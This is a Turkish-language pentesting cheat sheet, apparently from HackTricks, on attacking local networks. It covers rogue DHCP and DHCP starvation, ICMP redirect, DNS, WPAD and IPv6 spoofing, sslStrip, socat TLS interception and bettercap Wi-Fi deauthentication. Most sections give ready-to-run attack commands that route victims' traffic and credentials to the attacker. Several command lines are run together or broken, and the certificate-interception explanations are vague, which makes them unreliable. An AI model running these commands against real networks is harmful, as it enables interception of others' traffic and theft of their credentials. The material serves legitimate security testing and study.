Bu saldırıda, saldırgan ağdaki tüm IP adreslerini tüketerek DHCP sunucusunun IP adresleri atamasını engeller. Bu, ağdaki diğer cihazların IP adresi almasını engeller ve ağa erişimi sınırlar.
DHCP Spoofing
Bu saldırıda, saldırgan, ağdaki DHCP sunucusuna benzer bir DHCP sunucusu oluşturur ve ağdaki cihazları yanlış IP adresleriyle yanıltır. Bu saldırı, saldırganın ağ trafiğini izlemesine ve hatta değiştirmesine olanak tanır.
DHCP Rogue Server
Bu saldırıda, saldırgan ağdaki mevcut DHCP sunucusunu taklit eden bir DHCP sunucusu oluşturur. Bu saldırı, ağdaki cihazların yanlış yapılandırılmış IP adresleri almasına neden olabilir ve ağa erişimi sınırlayabilir.
DHCP Denial of Service (DoS)
Bu saldırıda, saldırgan ağdaki DHCP sunucusunu hedef alarak hizmet kesintisine neden olur. Bu, ağdaki cihazların IP adresi almasını engeller ve ağa erişimi sınırlar.
Saldırı Tespit Yöntemleri
DHCP saldırılarını tespit etmek için aşağıdaki yöntemler kullanılabilir:
DHCP Logları İzleme
DHCP sunucusunun loglarını izlemek, DHCP saldırılarını tespit etmek için etkili bir yöntem olabilir. DHCP sunucusunun loglarında anormal aktiviteler veya IP adresi çakışmaları gibi belirtiler bulunabilir.
ARP İzleme
DHCP saldırıları genellikle ARP (Address Resolution Protocol) zehirleme saldırılarıyla birlikte gerçekleştirilir. ARP izleme araçları kullanarak ağdaki ARP trafiğini izlemek, DHCP saldırılarını tespit etmek için faydalı olabilir.
Ağ Trafiği İzleme
Ağ trafiğini izlemek, DHCP saldırılarını tespit etmek için etkili bir yöntem olabilir. DHCP sunucusuna giden ve gelen trafiği izlemek, anormal aktiviteleri tespit etmek için faydalı olabilir.
DHCP Güvenlik Duvarı
DHCP sunucusunu korumak için bir DHCP güvenlik duvarı kullanmak, DHCP saldırılarını önlemek için etkili bir yöntem olabilir. DHCP güvenlik duvarı, DHCP trafiğini izler ve anormal aktiviteleri engeller.
DHCP İzleme Araçları
DHCP saldırılarını tespit etmek için çeşitli DHCP izleme araçları mevcuttur. Bu araçlar, DHCP trafiğini izler ve anormal aktiviteleri tespit etmek için kullanılabilir.
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
DoS
DHCP sunucularına karşı iki tür DoS saldırısı gerçekleştirilebilir. İlk saldırı türü, tüm mümkün IP adreslerini kullanmak için yeterli sayıda sahte ana bilgisayarın simüle edilmesine dayanır.
Bu saldırı, DHCP sunucusunun yanıtlarını görebiliyor ve protokolü tamamlayabiliyorsanız (Keşfet (Bilg.) --> Teklif (sunucu) --> İstek (Bilg.) --> Onay (sunucu)). Örneğin, bu, Wifi ağlarında mümkün değildir.
DHCP DoS saldırısı gerçekleştirmenin başka bir yolu, her biri mümkün olan her IP adresini kaynak kodu olarak kullanarak bir DHCP-RELEASE paketi göndermektir. Ardından, sunucu herkesin IP'yi kullanmayı bitirdiğini düşünecektir.
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
Bunu yapmanın daha otomatik bir yolu, DHCPing adlı aracı kullanmaktır.
Bahsedilen DoS saldırılarını kullanarak, istemcilerin ortam içinde yeni kiralama almasını ve meşru sunucuların yanıt veremez hale gelmesini sağlayabilirsiniz. Bu nedenle, meşru sunucu yeniden bağlandığında, aşağıdaki saldırıda belirtilen kötü amaçlı değerleri sunabilirsiniz.
Kötü amaçlı değerlerin ayarlanması
DHCP script'i /usr/share/responder/DHCP.py
konumunda bulunan sahte bir DHCP sunucusu kurulabilir. Bu, HTTP trafiğini ve kimlik bilgilerini yakalayarak trafiği kötü amaçlı bir sunucuya yönlendirerek ağ saldırıları gibi durumlarda kullanışlıdır. Bununla birlikte, sahte bir ağ geçidi kurmak, yalnızca istemcinin dışa yönelik trafiğini yakalamasına izin verdiği için daha az etkilidir ve gerçek ağ geçidinden gelen yanıtları kaçırır. Bunun yerine, daha etkili bir saldırı için sahte bir DNS veya WPAD sunucusu kurmanız önerilir.
Sahte DHCP sunucusunu yapılandırmak için aşağıdaki komut seçenekleri bulunmaktadır:
- IP Adresimiz (Gateway Advertisement): Makinenizin IP adresini ağ geçidi olarak tanıtmak için
-i 10.0.0.100
kullanın. - Yerel DNS Alan Adı: İsteğe bağlı olarak, yerel bir DNS alan adı belirlemek için
-d example.org
kullanın. - Orijinal Yönlendirici/Ağ Geçidi IP'si: Meşru yönlendirici veya ağ geçidinin IP adresini belirtmek için
-r 10.0.0.1
kullanın. - Birincil DNS Sunucusu IP'si: Kontrol ettiğiniz sahte DNS sunucusunun IP adresini belirlemek için
-p 10.0.0.100
kullanın. - İkincil DNS Sunucusu IP'si: İsteğe bağlı olarak, ikincil bir DNS sunucusu IP'si belirlemek için
-s 10.0.0.1
kullanın. - Yerel Ağın Ağ Maskesi: Yerel ağ için ağ maskesini tanımlamak için
-n 255.255.255.0
kullanın. - DHCP Trafik İçin Arayüz: DHCP trafiğini belirli bir ağ arayüzünde dinlemek için
-I eth1
kullanın. - WPAD Yapılandırma Adresi: Web trafiğini yakalamaya yardımcı olan WPAD yapılandırma adresini belirlemek için
-w “http://10.0.0.100/wpad.dat”
kullanın. - Sahte Varsayılan Ağ Geçidi IP'si: Sahte varsayılan ağ geçidi IP adresini taklit etmek için
-S
ekleyin. - Tüm DHCP İsteklerine Yanıt Verme: Sunucunun tüm DHCP isteklerine yanıt vermesi için
-R
ekleyin, ancak bu gürültülü olabilir ve tespit edilebilir.
Bu seçenekleri doğru bir şekilde kullanarak, sahte bir DHCP sunucusu etkili bir şekilde kurulabilir ve ağ trafiği yakalanabilir.
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
EAP Saldırıları
802.1X uygulamalarına karşı kullanılabilecek bazı saldırı taktikleri aşağıda listelenmiştir:
- EAP aracılığıyla aktif brute-force parola deneme
- Hatalı EAP içeriği ile RADIUS sunucusuna saldırı **(exploitler)
- EAP mesajlarının yakalanması ve çevrimdışı parola kırma (EAP-MD5 ve PEAP)
- TLS sertifikası doğrulamasını atlamak için EAP-MD5 kimlik doğrulamasının zorlanması
- Bir hub veya benzeri bir cihaz kullanarak kimlik doğrulama yapıldığında kötü niyetli ağ trafiği enjekte etme
Eğer saldırgan, kurban ile kimlik doğrulama sunucusu arasında ise, kimlik doğrulama protokolünü gerektiğinde EAP-MD5'e düşürmeye çalışabilir ve kimlik doğrulama girişimini yakalayabilir. Ardından, aşağıdaki yöntemleri kullanarak brute-force saldırısı yapabilir:
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
FHRP (GLBP & HSRP) Saldırıları
FHRP (First Hop Redundancy Protocol), sıcak yedekli bir yönlendirme sistemi oluşturmak için tasarlanmış bir ağ protokolü sınıfıdır. FHRP ile fiziksel yönlendiriciler tek bir mantıksal cihaza birleştirilebilir, bu da hata toleransını artırır ve yükü dağıtmaya yardımcı olur.
Cisco Systems mühendisleri, GLBP ve HSRP olmak üzere iki FHRP protokolü geliştirmiştir.
{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}
RIP
Routing Information Protocol'ün (RIP) üç versiyonu olduğu bilinmektedir: RIP, RIPv2 ve RIPng. RIP ve RIPv2, datagramları UDP kullanarak 520 numaralı porta gönderirken, RIPng, datagramları IPv6 çoklu yayını kullanarak UDP portu 521'e yayınlar. RIPv2, MD5 kimlik doğrulamasını desteklerken, RIPng, yerleşik kimlik doğrulamasını içermez; bunun yerine IPv6 içindeki IPsec AH ve ESP başlıklarına güvenilir.
- RIP ve RIPv2: İletişim UDP datagramlarıyla 520 numaralı port üzerinden gerçekleştirilir.
- RIPng: IPv6 çoklu yayını üzerinden datagramları yayınlamak için UDP portu 521'i kullanır.
RIPv2, MD5 kimlik doğrulamasını desteklerken, RIPng, yerleşik kimlik doğrulamasını içermez; IPv6 içindeki IPsec AH ve ESP başlıklarına güvenir.
EIGRP Saldırıları
EIGRP (Enhanced Interior Gateway Routing Protocol), bir dinamik yönlendirme protokolüdür. Bu, bir mesafe-vektör protokolüdür. Eğer kimlik doğrulama yoksa ve pasif arayüzlerin yapılandırması yoksa, bir saldırgan EIGRP yönlendirmesine müdahale edebilir ve yönlendirme tablolarının zehirlenmesine neden olabilir. Ayrıca, EIGRP ağı (diğer bir deyişle, özerk sistem) düz ve herhangi bir bölgeye bölünmemiştir. Bir saldırgan bir rota enjekte ederse, bu rota büyük olasılıkla özerk EIGRP sistemi boyunca yayılacaktır.
Bir EIGRP sistemine saldırmak için, bir meşru EIGRP yönlendiriciyle bir komşuluk kurmak gerekmektedir, bu da temel keşiften çeşitli enjeksiyonlara kadar birçok olasılık sunar.
FRRouting, BGP, OSPF, EIGRP, RIP ve diğer protokolleri destekleyen bir sanal yönlendiriciyi uygulamanıza olanak tanır. Tek yapmanız gereken, saldırganın sisteminize dağıtması ve gerçekten yönlendirme alanında meşru bir yönlendirici gibi davranabilmenizdir.
{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}
Coly, EIGRP (Enhanced Interior Gateway Routing Protocol) yayınlarını engelleme yeteneklerine sahiptir. Ayrıca, yönlendirme yapılandırmalarını değiştirmek için kullanılabilecek paket enjeksiyonuna izin verir.
OSPF
Open Shortest Path First (OSPF) protokolünde, güvenli iletişimi sağlamak için genellikle MD5 kimlik doğrulaması kullanılır. Bununla birlikte, Loki ve John the Ripper gibi araçlar kullanılarak bu güvenlik önlemi tehlikeye atılabilir. Bu araçlar, MD5 karma değerlerini yakalayıp kırabilme yeteneğine sahiptir ve kimlik doğrulama anahtarını ortaya çıkarır. Bu anahtar elde edildikten sonra, yeni yönlendirme bilgileri tanıtılabilir. Rota parametrelerini yapılandırmak ve tehlikeye atılan anahtarı kurmak için sırasıyla Injection ve Connection sekmeleri kullanılır.
- MD5 Karma Değerlerini Yakalama ve Kırma: Loki ve John the Ripper gibi araçlar bu amaçla kullanılır.
- Rota Parametrelerini Yapılandırma: Bu, Injection sekmesi aracılığıyla yapılır.
- Tehlikeye Atılan Anahtarı Ayarlama: Anahtar, Connection sekmesi altında yapılandırılır.
Diğer Genel Araçlar ve Kaynaklar
- Above: Ağ trafiğini taramak ve zayıflıkları bulmak için kullanılan bir araç
- Ağ saldırıları hakkında daha fazla bilgiye buradan ulaşabilirsiniz.
Spoofing
Saldırgan, sahte DHCP yanıtları göndererek yeni ağ üyesinin tüm ağ parametrelerini (GW, IP, DNS) yapılandırır.
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
ARP Spoofing
Önceki bölüme bakın.
ICMPRedirect
ICMP Yönlendirme, saldırganın bir IP'ye ulaşmanın en iyi yolunun kendisi olduğunu belirten bir ICMP paketi türü 1 kod 5 göndererek gerçekleştirilir. Ardından, kurban IP'ye ulaşmak istediğinde, paketi saldırgan üzerinden gönderir.
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
DNS Sahtekarlığı
Saldırgan, kurbanın talep ettiği bazı (veya tüm) alan adlarını çözecektir.
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
dnsmasq ile Kendi DNS'inizi Yapılandırma
Bu yöntem, dnsmasq adlı bir araç kullanarak kendi DNS sunucunuzu yapılandırmanıza olanak tanır. Dnsmasq, DNS sorgularını yönlendirmek ve DNS kayıtlarını önbelleğe almak için kullanılan bir hizmettir.
-
İlk olarak, dnsmasq'ı yüklemek için aşağıdaki komutu çalıştırın:
sudo apt-get install dnsmasq
-
Dnsmasq'ı yapılandırmak için
/etc/dnsmasq.conf
dosyasını düzenleyin:sudo nano /etc/dnsmasq.conf
-
Dosyanın içinde aşağıdaki satırları ekleyin:
listen-address=127.0.0.1 bind-interfaces address=/example.com/192.168.1.100
Yukarıdaki örnekte,
example.com
alan adı192.168.1.100
IP adresine yönlendirilir. -
Dnsmasq'ı yeniden başlatmak için aşağıdaki komutu çalıştırın:
sudo systemctl restart dnsmasq
-
Şimdi, DNS ayarlarınızı değiştirmek için
/etc/resolv.conf
dosyasını düzenleyin:sudo nano /etc/resolv.conf
-
Dosyanın içinde aşağıdaki satırı ekleyin:
nameserver 127.0.0.1
Bu, DNS sorgularını yerel dnsmasq sunucusuna yönlendirecektir.
Artık dnsmasq ile kendi DNS sunucunuz yapılandırılmıştır. Bu sayede DNS sorgularınızı özelleştirebilir ve yönlendirebilirsiniz.
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
Yerel Ağ Geçitleri
Sistemlere ve ağlara birden fazla rota genellikle mevcuttur. Yerel ağdaki MAC adreslerinin bir listesini oluşturduktan sonra, IPv4 yönlendirmesini destekleyen ana bilgisayarları belirlemek için gateway-finder.py kullanın.
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
LLMNR, NBT-NS ve mDNS Sahteciliği
Microsoft sistemleri, DNS sorguları başarısız olduğunda yerel ana bilgisayar çözümlemesi için Link-Local Multicast Name Resolution (LLMNR) ve NetBIOS Name Service (NBT-NS)'ye güvenir. Benzer şekilde, Apple Bonjour ve Linux sıfır yapılandırma uygulamaları, bir ağ içindeki sistemleri keşfetmek için Multicast DNS (mDNS) kullanır. Bu protokollerin kimlik doğrulama yapılmadan çalışması ve UDP üzerinden yayınlanan mesajlarla işlemesi nedeniyle, saldırganlar kullanıcıları kötü niyetli hizmetlere yönlendirmek için bunları istismar edebilir.
Responder kullanarak, ana bilgisayarların aradığı hizmetleri taklit edebilir ve sahte yanıtlar göndererek saldırı yapabilirsiniz.
Responder ile hizmetleri taklit etme hakkında daha fazla bilgi için burayı okuyun.
WPAD Sahteciliği
Tarayıcılar genellikle Web Proxy Auto-Discovery (WPAD) protokolünü otomatik olarak proxy ayarlarını almak için kullanır. Bu, özellikle "http://wpad.example.org/wpad.dat" gibi bir URL aracılığıyla yapılandırma ayrıntılarını bir sunucudan almayı içerir. İstemcilerin bu sunucuyu keşfetmesi çeşitli mekanizmalar aracılığıyla gerçekleşebilir:
- DHCP aracılığıyla, keşif özel bir kod 252 girişi kullanılarak kolaylaştırılır.
- DNS ile, yerel etki alanında wpad olarak etiketlenmiş bir ana bilgisayar adı aranarak gerçekleştirilir.
- Microsoft LLMNR ve NBT-NS aracılığıyla, DNS sorgularının başarısız olduğu durumlarda kullanılan yedek mekanizmalarla.
Responder aracı, zararlı bir WPAD sunucusu olarak bu protokolden faydalanır. DHCP, DNS, LLMNR ve NBT-NS kullanarak istemcileri yanıltarak onların kendisine bağlanmasını sağlar. Responder kullanarak hizmetlerin nasıl taklit edilebileceğine daha detaylı bir şekilde bakmak için burayı kontrol edin.
SSDP ve UPnP Cihazlarının Sahteciliği
Ağda farklı hizmetler sunarak bir kullanıcıyı kandırmak ve bazı düz metin kimlik bilgilerini girmesini sağlamak mümkündür. Bu saldırı hakkında daha fazla bilgi için SSDP ve UPnP Cihazlarının Sahteciliği'ne bakın.
IPv6 Komşu Sahteciliği
Bu saldırı, ARP Sahteciliği ile IPv6 dünyasında çok benzerdir. Kurbanı, saldırganın MAC adresine sahip olduğunu düşündürebilirsiniz.
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
IPv6 Yönlendirici İlanı Sahteleme/Sel Basma
Bazı işletim sistemleri, ağda gönderilen RA paketlerinden varsayılan olarak ağ geçidini yapılandırır. Saldırganı IPv6 yönlendirici olarak bildirmek için şunları kullanabilirsiniz:
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
IPv6 DHCP spoofing
Varsayılan olarak, bazı işletim sistemleri ağındaki bir DHCPv6 paketini okuyarak DNS'i yapılandırmaya çalışır. Ardından, saldırgan kendisini DNS olarak yapılandırmak için bir DHCPv6 paketi gönderebilir. DHCP ayrıca kurban için bir IPv6 sağlar.
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
HTTP (sahte sayfa ve JS kodu enjeksiyonu)
İnternet Saldırıları
sslStrip
Bu saldırının temel olarak yaptığı şey, kullanıcının erişmeye çalıştığı bir HTTP sayfasının HTTPS sürümüne yönlendirme yaptığı durumlarda, sslStrip istemciyle bir HTTP bağlantısı ve sunucuyla bir HTTPS bağlantısı kurarak bağlantıyı düz metin olarak dinleyebilir hale getirmektir.
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
Daha fazla bilgi için buraya bakabilirsiniz.
HSTS'yi atlatmak için sslStrip+ ve dns2proxy
sslStrip+ ve dns2proxy'nin sslStrip'e karşı farkı, örneğin www.facebook.com'u wwww.facebook.com (ekstra "w" dikkat edin) olarak yönlendirecek ve bu alanın saldırgan IP'sini ayarlayacak olmasıdır. Bu şekilde, istemci, wwww.facebook.com (saldırgan) ile bağlantı kuracak, ancak arka planda sslstrip+, www.facebook.com ile https üzerinden gerçek bağlantıyı sürdürecektir.
Bu teknikteki amaç, tarayıcının önbelleğine wwww.facebook.com kaydedilmeyeceği için HSTS'yi atlamaktır, böylece tarayıcı facebook kimlik doğrulamasını HTTP üzerinden gerçekleştirmeye kandırılır.
Bu saldırıyı gerçekleştirmek için kurbanın başlangıçta http://www.faceook.com adresine erişmeye çalışması gerekmektedir. Bu, bir http sayfasındaki bağlantıları değiştirerek yapılabilir.
Daha fazla bilgi için buraya, buraya ve buraya bakabilirsiniz.
sslStrip veya sslStrip+ artık çalışmıyor. Bunun nedeni tarayıcılarda önceden kaydedilmiş HSTS kurallarının bulunmasıdır, bu yüzden bir kullanıcının bir "önemli" alan adına ilk kez erişmesi bile HTTPS üzerinden gerçekleşir. Ayrıca, önceden kaydedilmiş kurallar ve diğer oluşturulan kurallar includeSubdomains
bayrağını kullanabilir, bu nedenle önceki örnekteki wwww.facebook.com artık çalışmayacaktır çünkü facebook.com includeSubdomains
ile HSTS kullanır.
TODO: easy-creds, evilgrade, metasploit, factory
Portta TCP dinleme
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
TCP + SSL dinleme portu
Anahtarları ve öz-imzalı sertifikayı oluşturun
openssl genrsa -out private.key 2048
openssl req -new -x509 -key private.key -out certificate.crt -days 365
Start the listener
openssl s_server -key private.key -cert certificate.crt -accept <port> -www
Connect to the listener
openssl s_client -connect <ip>:<port>
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
Sertifika kullanarak dinleme
Bu yöntem, ağ trafiğini dinlemek için bir sertifika kullanmayı içerir. Bu, ağdaki verileri şifrelemek için kullanılan SSL/TLS protokolünü etkisiz hale getirir ve saldırganın trafiği dinlemesine olanak tanır.
Bu yöntemi uygulamak için aşağıdaki adımları izleyebilirsiniz:
- Bir sertifika oluşturun veya bir sertifika satın alın.
- Sertifikayı hedef ağa yükleyin.
- Sertifikayı kullanarak bir saldırı sunucusu oluşturun.
- Hedef ağa bağlanan istemcilerin trafiğini dinlemek için saldırı sunucusunu kullanın.
Bu yöntem, ağ trafiğini dinlemek için etkili bir yol sağlar, ancak yasal ve etik sınırlamaları aşabileceği için dikkatli bir şekilde kullanılmalıdır.
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
Sertifika kullanarak dinle ve ana bilgisayarlara yönlendir
Bu yöntemde, hedef ağa sızabilmek için bir sertifika kullanarak dinleme yapılır ve ardından trafiği hedef ana bilgisayarlara yönlendirilir. Bu, ağdaki verileri ele geçirmek ve hedef sistemlere erişim sağlamak için kullanılan bir tekniktir.
Bu yöntemi uygulamak için aşağıdaki adımları izleyebilirsiniz:
- Bir sertifika oluşturun ve hedef ağa yükleyin.
- Dinleme yapmak için bir araç kullanın ve sertifikayı kullanarak trafiği dinleyin.
- Dinlenen trafiği hedef ana bilgisayarlara yönlendirin.
- Hedef sistemlere erişim sağlamak için dinlenen verileri analiz edin ve uygun saldırıları gerçekleştirin.
Bu yöntem, ağ güvenliği zafiyetlerini tespit etmek ve ağa sızma girişimlerini test etmek için kullanılan bir pentesting tekniğidir. Ancak, bu tür bir saldırıyı gerçekleştirmek yasa dışıdır ve yalnızca yasal izinlerle ve etik kurallara uygun olarak gerçekleştirilmelidir.
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
Bazen istemci CA'nın geçerli olduğunu kontrol ederse, başka bir ana adı tarafından imzalanan bir CA sertifikası sunabilirsiniz.
Başka bir ilginç test, istemci tarafından istenen ana adının kendine imzalı bir sertifikası sunmaktır.
Denemek için başka şeyler de var, geçerli bir CA olmayan geçerli bir sertifika ile sertifikayı imzalamayı deneyebilirsiniz. Veya geçerli genel anahtarı kullanarak, gerçek özel anahtarla hiçbir şeyi şifrelemeye gerek olmayan bir algoritma kullanmayı zorlayabilir ve istemci gerçek özel anahtarın bir sondajını (örneğin bir karma) istediğinde sahte bir sondaj gönderip istemcinin bunu kontrol etmediğini umabilirsiniz.
Bettercap
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear
# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
# Caplets
caplets.show
caplets.update
# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
Aktif Keşif Notları
Bir UDP paketi, istenen bağlantı noktasına sahip olmayan bir cihaza gönderildiğinde, bir ICMP (Port Ulaşılamaz) paketi gönderilir.
ARP Keşfi
ARP paketleri, ağ içinde hangi IP adreslerinin kullanıldığını keşfetmek için kullanılır. Bilgisayar her olası IP adresi için bir istek göndermeli ve yalnızca kullanılan IP adresleri yanıt verecektir.
mDNS (çoklu DNS)
Bettercap, _services_.dns-sd._udp.local için bir MDNS isteği gönderir (her X ms). Bu paketi gören makine genellikle bu isteği yanıtlar. Ardından, yalnızca "hizmetlere" yanıt veren makineler aranır.
Araçlar
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
NBNS (NetBios Ad Sunucusu)
Bettercap, isim "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" için 137/UDP bağlantı noktasına yayın yapar.
SSDP (Basit Hizmet Keşif Protokolü)
Bettercap, tüm türdeki hizmetleri aramak için SSDP paketlerini yayınlar (UDP Bağlantı Noktası 1900).
WSD (Web Hizmeti Keşfi)
Bettercap, hizmetleri aramak için WSD paketlerini yayınlar (UDP Bağlantı Noktası 3702).
Referanslar
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Network Security Assessment: Know Your Network (3. baskı)
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood
- https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
Bug bounty ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan bir premium bug bounty platformu! Bugün https://go.intigriti.com/hacktricks adresine katılın ve 100.000 $'a kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklam vermek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'yi keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter'da takip edin 🐦 @hacktricks_live.
- Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.